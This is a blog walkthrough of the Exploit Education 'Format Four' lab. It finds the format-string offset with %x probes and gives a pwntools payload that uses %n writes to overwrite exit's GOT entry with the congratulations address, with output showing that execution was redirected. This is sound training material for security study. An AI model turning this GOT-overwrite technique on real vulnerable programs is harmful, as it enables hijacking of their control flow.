Previous Writeup:
- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
- Stack Two Writeup - Exploit Education Lab Exercise
- Stack Three Writeup - Exploit Education Lab Exercise
- Stack Four Writeup - Exploit Education Lab Exercise
- Stack Five Writeup - Exploit Education Lab Exercise
- Stack Six Writeup - Exploit Education Lab Exercise
- Format Zero Writeup - Exploit Education Lab Exercise
- Format One Writeup - Exploit Education Lab Exercise
- Format Two Writeup - Exploit Education Lab Exercise
- Format Three Writeup - Exploit Education Lab Exercise
If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup
Quick Overview
Similar to Format Three Writeup, Format Four exercise motives are smashing the stack, overwrite arbitrary memory address and execute congratulations function within the program. However, this Format Four challenge revolves around Format String Vulnerability and quite challenging when exploiting in 64-bit architecture binary.
Disassemble
Disassembling the code will get you overall idea behind the format-four code, One can use gdb ./format-four to start debugging it in runtime.
gdb ./format-four- Type
disassemble mainto get the disassembled code (assembly)
0x08048523 <+0>: lea ecx,[esp+0x4]
0x08048527 <+4>: and esp,0xfffffff0
0x0804852a <+7>: push DWORD PTR [ecx-0x4]
0x0804852d <+10>: push ebp
0x0804852e <+11>: mov ebp,esp
0x08048530 <+13>: push ecx
0x08048531 <+14>: sub esp,0x1004
0x08048537 <+20>: sub esp,0xc
0x0804853a <+23>: push 0x8048600
0x0804853f <+28>: call 0x8048310 <puts@plt>
0x08048544 <+33>: add esp,0x10
0x08048547 <+36>: sub esp,0x4
0x0804854a <+39>: push 0xfff
0x0804854f <+44>: lea eax,[ebp-0x1008]
0x08048555 <+50>: push eax
0x08048556 <+51>: push 0x0
0x08048558 <+53>: call 0x8048320 <read@plt>
0x0804855d <+58>: add esp,0x10
0x08048560 <+61>: test eax,eax
0x08048562 <+63>: jg 0x804856e <main+75>
0x08048564 <+65>: sub esp,0xc
0x08048567 <+68>: push 0x1
0x08048569 <+70>: call 0x8048330 <exit@plt>
0x0804856e <+75>: sub esp,0xc
0x08048571 <+78>: lea eax,[ebp-0x1008]
0x08048577 <+84>: push eax
0x08048578 <+85>: call 0x80484e5 <bounce>
0x0804857d <+90>: add esp,0x10
0x08048580 <+93>: mov eax,0x0
0x08048585 <+98>: mov ecx,DWORD PTR [ebp-0x4]
0x08048588 <+101>: leave
0x08048589 <+102>: lea esp,[ecx-0x4]
0x0804858c <+105>: ret
Before taking a look at the code, if you disassembled the format-four using gdb to view the assembly instruction, you may notice the puts, fgets, sprintf function calls with parameters. So basically when you hit r in gdb without breakpoint,
- Greet with
Welcome to phoenix/format-four, brought to you by https://exploit.educationmessage via Puts (aka printf) method - The
bouncefunction takes a character pointerstras an argument, prints the string pointed to bystr, and exits the program with a status of 0. - The
congratulationsfunction prints a message indicating that the user has successfully redirected code execution and exits the program with a status of 0. - The
mainfunction starts by declaring a character arraybufwith a size of 4096 bytes. - The
printffunction is called to print the value of theBANNERmacro, which is defined earlier in the code. - The
readfunction is called to read data from the standard input (file descriptor 0) into thebufarray. The number of bytes read is limited to one less than the size of thebufarray to ensure that there is room for a null terminator at the end of the string. - If the
readfunction returns a value less than or equal to 0, indicating that an error occurred or no data was read, the program exits with a failure status. - Otherwise, the
bouncefunction is called withbufas an argument.
Memory Allocation - Exploit Strategy
There is no way you could overflow buffer overflow variable and overwrite any function pointer in the memory. However, introducing %n format modifier string can perform this magic by overwriting the address using format string vulnerability.
Our first step is to print “AAAA” temporarily and find the padding where it gets stored in the stack memory. We can start our exploration with couple of %x which helps in printing the address of the stack,
user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/format-four $'AAAA%x.%x.\n'
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAAAffffd8ca.100.
Better luck next time!
Our experiment continues untill we find AAAA or 41414141 in the stack and eventually we come to know that it occurs at the 11th padding,
user@phoenix-amd64:/opt/phoenix/i486$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAA0.0.0.f7f81cf7.f7ffb000.ffffd748.804857d.ffffc740.ffffc740.fff.0.41414141
Now that we found the padding, it’s time to find the exact memory address of congratulation function. For 64-bit binary format-four it should be 0x400644 and 32-bit binary should be 0x08049868. While performing the exploit, I personally found 64-bit arch challenging due to few reasons discussed in the next section.
user@phoenix-amd64:/opt/phoenix/i486$ nm format-four | grep congratulations
08048503 T congratulations
user@phoenix-amd64:/opt/phoenix/i486$
So, let’s come up with a payload for 32-bit arch format-four binary first, However, we might require a redirection to congratulations function and exit function at 0x080497e4 address might be perfect candidate for this.
Since, congratulation now requires to be 0x08048503 which is pretty huge number and I don’t think we have enough bytes to overwrite the memory address. However, there is a workaround by spliting the address into 4 bytes (32 Bit platform) and each byte gets a specific number of junk bytes to overwrite. For example, \x44\x98\x04\x08 can try writing 45 first and carry forward to next bytes if any overflow.
- One can start overwriting single byte with trial and error method, starting
changeme+0with padding 11 yields. We could write some junk characters and bump the padding to178and try again. (this is purely based on trial and error method) and our result yields0x103which is our target comparing0x08048503.
from pwn import *
exit = 0x080497e4
congratulations = 0x08048503
buff= ""
buff += p32(exit+0)
buff += p32(exit+1)
buff += p32(exit+2)
buff += p32(exit+3)
buff += '%x ' * 11 # offset to first byte
buff += 'A' * 178 # JUNK
buff += "%n" # write to first byte
print(buff)
(gdb) x 0x080497e4
0x80497e4 <exit@got.plt>: 0x00000103
- When
changeme+1is getting overwritten as0x00000103but our target is now0x00008503matching0x08048503. We could try pushing few more junk characters and bump0x1to0x85. So, we now require0x85-0x1i.e in decimal 132 characters to be written (including%n)
from pwn import *
exit = 0x080497e4
congratulations = 0x08048503
buff= ""
buff += p32(exit+0)
buff += p32(exit+1)
buff += p32(exit+2)
buff += p32(exit+3)
buff += '%x ' * 11 # offset to first byte
buff += 'A' * 178 # JUNK
buff += "%n" # write to first byte
buff += 'A' * 130 # JUNK
buff += "%n" # write to second byte
print(buff)
iterating the same process for changeme+2 and changeme+3 yields the following payload,
from pwn import *
exit = 0x080497e4
congratulations = 0x08048503
buff= ""
buff += p32(exit+0)
buff += p32(exit+1)
buff += p32(exit+2)
buff += p32(exit+3)
buff += '%x ' * 11 # offset to first byte
buff += 'A' * 178 # JUNK
buff += "%n" # write to first byte
buff += 'A' * 130 # JUNK
buff += "%n" # write to second byte
buff += 'A' * 127 # JUNK
buff += "%n" # write to third byte
buff += 'A' * 4 # JUNK
buff += "%n" # write to forth byte
print(buff)
Welcome to phoenix/format-four, brought to you by https://exploit.education
����0 0 0 f7f81cf7 f7ffb000 ffffd718 804857d ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, you're redirected code execution!
Well done, you're redirected code execution!
Challenge faced while exploiting 64-bit binary
As mentioned above while going through memory address of congratulations function in the stack of 64-bit binary should be 0x400644 and it contains unreasonable characters 😥 - \x00 null character which is interpreted by the strncpy function and completely terminates the argument while copying to the buffer.
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAf7ffdc0c.f7ffb300.f7dc2617.0.0.0.ffffd6b0.ffffe6b0.4006b5.ffffe708.0.25414141.2e78252e.78252e78.252e7825.2e78252e
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAf7ffdc0c.f7ffb300.f7dc2617.0.0.0.ffffd6b0.ffffe6b0.4006b5.ffffe708.0.25414141.2e78252e.78252e78.252e7825.2e78252e.78252e78.252e7825.2e78252e.78252e78.0.0
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAf7ffdc0c.f7ffb300.f7dc2617.0.0.0.ffffd6b0.ffffe6b0.4006b5.ffffe708.0
user@phoenix-amd64:/opt/phoenix/amd64$ ./format-four
Welcome to phoenix/format-four, brought to you by https://exploit.education
AAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAf7ffdc0c.f7ffb300.f7dc2617.0.0.0.ffffd6b0.ffffe6b0.4006b5.ffffe708.0.25414141
user@phoenix-amd64:/opt/phoenix/amd64$ nm format-four | grep congratulations
0000000000400644 T congratulations
However, there might be better strategy to overcome this issue by altering environment variables that may push the address or placing the address to the end of the string in payload.
Exploit
Now, our strategy should be,
- Input
format stringas above python file execution results pipe-ing toformat-fourbinary - Now,
exitmemory address from GOT (Global Offset Table) is overwritten bycongratulationsaddress.
Welcome to phoenix/format-four, brought to you by https://exploit.education
����0 0 0 f7f81cf7 f7ffb000 ffffd718 804857d ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, you're redirected code execution!
Well done, you're redirected code execution!
There you go! 🎉 You’ve officially pwned and you may eventually gain code execution in upcoming blog post dedicated for this format-four 🪲

Source and Reference:
- Format Four Exercise: Exploit Education
Closing Note:
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.